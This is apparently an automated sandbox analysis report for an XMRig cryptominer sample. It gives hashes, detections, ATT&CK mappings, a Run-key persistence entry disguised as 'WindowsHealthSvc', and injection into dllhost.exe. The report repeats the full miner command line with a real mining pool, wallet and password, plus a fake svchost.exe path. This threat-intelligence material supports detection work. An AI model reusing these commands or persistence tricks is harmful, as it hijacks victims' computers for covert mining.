xmrig | e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49

Analysis

max time kernel
40s
max time network
35s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/06/2026, 09:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
Size 6.2MB
Sample260627-lw3phaax4l
SHA256 e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49
MD5 0c4befa56ca087221fb5706ba15e7988
SHA1 462110f09bb941c726d1536cb5ad8e2f5e78293f
SHA512 09849db1556d26f657bbd183ed8ab7e95ba9158d5a79d1804990273dd9211f1791e7cc50d5f0fefd0fac9a00c8f56ee6b7215ab40e7b17f322b9799a550e08c7
SSDEEP 98304:Qgc/0XoFHNxZemy4hjcnjHJuuoUZYV6jPQ9+A5VRg7h4guEiAcmt+jInErzvR/KS:wcodemyhjpu6a67buEjcmUInErzvF
TLSH
T19366E003E5E7CEF8C21BE67D46629333A92474880E32B11C6995F36B5FE4934A19DB70
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 21 IoCs

miner

resource	yara_rule
behavioral2/memory/3908-4-0x00000228664A0000-0x00000228669CA000-memory.dmp	xmrig
behavioral2/memory/3908-12-0x00000228664A0000-0x00000228669CA000-memory.dmp	xmrig
behavioral2/memory/1552-20-0x000002B200000000-0x000002B20052A000-memory.dmp	xmrig
behavioral2/memory/5672-28-0x0000023406D10000-0x000002340723A000-memory.dmp	xmrig
behavioral2/memory/1696-36-0x000002675B450000-0x000002675B97A000-memory.dmp	xmrig
behavioral2/memory/2952-45-0x000001A14FF20000-0x000001A15044A000-memory.dmp	xmrig
behavioral2/memory/6636-53-0x00000260B3BD0000-0x00000260B40FA000-memory.dmp	xmrig
behavioral2/memory/1356-61-0x0000021324CC0000-0x00000213251EA000-memory.dmp	xmrig
behavioral2/memory/2020-69-0x00000280079C0000-0x0000028007EEA000-memory.dmp	xmrig
behavioral2/memory/5332-77-0x0000027895B30000-0x000002789605A000-memory.dmp	xmrig
behavioral2/memory/5148-85-0x000001883C800000-0x000001883CD2A000-memory.dmp	xmrig
behavioral2/memory/5640-93-0x000001D9DD900000-0x000001D9DDE2A000-memory.dmp	xmrig
behavioral2/memory/940-101-0x0000019313C20000-0x000001931414A000-memory.dmp	xmrig
behavioral2/memory/3344-110-0x0000020FD8AB0000-0x0000020FD8FDA000-memory.dmp	xmrig
behavioral2/memory/5608-118-0x00000180FBB00000-0x00000180FC02A000-memory.dmp	xmrig
behavioral2/memory/3952-126-0x000001B8CF870000-0x000001B8CFD9A000-memory.dmp	xmrig
behavioral2/memory/4384-134-0x000001CCE4F30000-0x000001CCE545A000-memory.dmp	xmrig
behavioral2/memory/4520-142-0x00000194A8E50000-0x00000194A937A000-memory.dmp	xmrig
behavioral2/memory/4244-150-0x000001999D150000-0x000001999D67A000-memory.dmp	xmrig
behavioral2/memory/1576-159-0x000001A497830000-0x000001A497D5A000-memory.dmp	xmrig
behavioral2/memory/808-166-0x000001D129290000-0x000001D1297BA000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2560	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3246620872-1649211507-2285877732-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsHealthSvc = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\svchost.exe"	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
3	pastebin.com
2	pastebin.com

Suspicious use of SetThreadContext 21 IoCs

description	pid	Process	procid_target
PID 6284 set thread context of 3908	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	93
PID 6284 set thread context of 1552	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	94
PID 6284 set thread context of 5672	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	95
PID 6284 set thread context of 1696	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	96
PID 6284 set thread context of 2952	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	97
PID 6284 set thread context of 6636	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	98
PID 6284 set thread context of 1356	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	99
PID 6284 set thread context of 2020	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	100
PID 6284 set thread context of 5332	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	101
PID 6284 set thread context of 5148	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	102
PID 6284 set thread context of 5640	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	103
PID 6284 set thread context of 940	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	104
PID 6284 set thread context of 3344	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	106
PID 6284 set thread context of 5608	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	107
PID 6284 set thread context of 3952	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	108
PID 6284 set thread context of 4384	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	109
PID 6284 set thread context of 4520	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	110
PID 6284 set thread context of 4244	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	111
PID 6284 set thread context of 1576	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	112
PID 6284 set thread context of 808	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	113
PID 6284 set thread context of 444	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	114

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe

Suspicious behavior: MapViewOfSection 21 IoCs

pid	Process
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 6284 wrote to memory of 3908	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	93
PID 6284 wrote to memory of 1552	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	94
PID 6284 wrote to memory of 5672	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	95
PID 6284 wrote to memory of 1696	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	96
PID 6284 wrote to memory of 2952	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	97
PID 6284 wrote to memory of 6636	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	98
PID 6284 wrote to memory of 1356	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	99
PID 6284 wrote to memory of 2020	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	100
PID 6284 wrote to memory of 5332	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	101
PID 6284 wrote to memory of 5148	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	102
PID 6284 wrote to memory of 5640	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	103
PID 6284 wrote to memory of 940	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	104
PID 6284 wrote to memory of 3344	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	106
PID 6284 wrote to memory of 5608	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	107
PID 6284 wrote to memory of 3952	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	108
PID 6284 wrote to memory of 4384	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	109
PID 6284 wrote to memory of 4520	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	110
PID 6284 wrote to memory of 4244	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	111
PID 6284 wrote to memory of 1576	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	112
PID 6284 wrote to memory of 808	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	113
PID 6284 wrote to memory of 444	6284	e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe	114

C:\Users\Admin\AppData\Local\Temp\e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe
"C:\Users\Admin\AppData\Local\Temp\e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:6284
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:3908
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:1552
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:5672
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:1696
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:2952
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:6636
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:1356
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:2020
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:5332
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:5148
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:5640
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:940
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:3344
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:5608
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:3952
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:4384
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:4520
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:4244
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:1576
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:808
- C:\Windows\System32\dllhost.exe
  "C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA --tls --cpu-max-threads-hint=25 -a rx/0 --http-port 58204
  2⤵
  PID:444

C:\Users\Admin\AppData\Local\Microsoft\Windows\svchost.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\svchost.exe
1⤵
- Executes dropped EXE
PID:2560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

svchost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\svchost.exe
Size 6.2MB
SHA256 e01ad37bc931710e2ca30250596a780c12259ae27712564a6c872f63fe3dcf49
MD5 0c4befa56ca087221fb5706ba15e7988
SHA1 462110f09bb941c726d1536cb5ad8e2f5e78293f
SHA512 09849db1556d26f657bbd183ed8ab7e95ba9158d5a79d1804990273dd9211f1791e7cc50d5f0fefd0fac9a00c8f56ee6b7215ab40e7b17f322b9799a550e08c7
SSDEEP 98304:Qgc/0XoFHNxZemy4hjcnjHJuuoUZYV6jPQ9+A5VRg7h4guEiAcmt+jInErzvR/KS:wcodemyhjpu6a67buEjcmUInErzvF
TLSH
T19366E003E5E7CEF8C21BE67D46629333A92474880E32B11C6995F36B5FE4934A19DB70
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/808-166-0x000001D129290000-0x000001D1297BA000-memory.dmp

Download

memory/940-101-0x0000019313C20000-0x000001931414A000-memory.dmp

Download

memory/1356-61-0x0000021324CC0000-0x00000213251EA000-memory.dmp

Download

memory/1552-20-0x000002B200000000-0x000002B20052A000-memory.dmp

Download

memory/1576-159-0x000001A497830000-0x000001A497D5A000-memory.dmp

Download

memory/1696-36-0x000002675B450000-0x000002675B97A000-memory.dmp

Download

memory/2020-69-0x00000280079C0000-0x0000028007EEA000-memory.dmp

Download

memory/2560-2-0x00007FF7E49A0000-0x00007FF7E4FD6000-memory.dmp

Download

memory/2952-45-0x000001A14FF20000-0x000001A15044A000-memory.dmp

Download

memory/3344-110-0x0000020FD8AB0000-0x0000020FD8FDA000-memory.dmp

Download

memory/3908-4-0x00000228664A0000-0x00000228669CA000-memory.dmp

Download

memory/3908-12-0x00000228664A0000-0x00000228669CA000-memory.dmp

Download

memory/3952-126-0x000001B8CF870000-0x000001B8CFD9A000-memory.dmp

Download

memory/4244-150-0x000001999D150000-0x000001999D67A000-memory.dmp

Download

memory/4384-134-0x000001CCE4F30000-0x000001CCE545A000-memory.dmp

Download

memory/4520-142-0x00000194A8E50000-0x00000194A937A000-memory.dmp

Download

memory/5148-85-0x000001883C800000-0x000001883CD2A000-memory.dmp

Download

memory/5332-77-0x0000027895B30000-0x000002789605A000-memory.dmp

Download

memory/5608-118-0x00000180FBB00000-0x00000180FC02A000-memory.dmp

Download

memory/5640-93-0x000001D9DD900000-0x000001D9DDE2A000-memory.dmp

Download

memory/5672-28-0x0000023406D10000-0x000002340723A000-memory.dmp

Download

memory/6284-109-0x00007FF6FDA20000-0x00007FF6FE056000-memory.dmp

Download

memory/6284-3-0x00007FF6FDA20000-0x00007FF6FE056000-memory.dmp

Download

memory/6284-44-0x00007FF6FDA20000-0x00007FF6FE056000-memory.dmp

Download

memory/6284-0-0x000001A64CF50000-0x000001A64CF51000-memory.dmp

Download

memory/6636-53-0x00000260B3BD0000-0x00000260B40FA000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads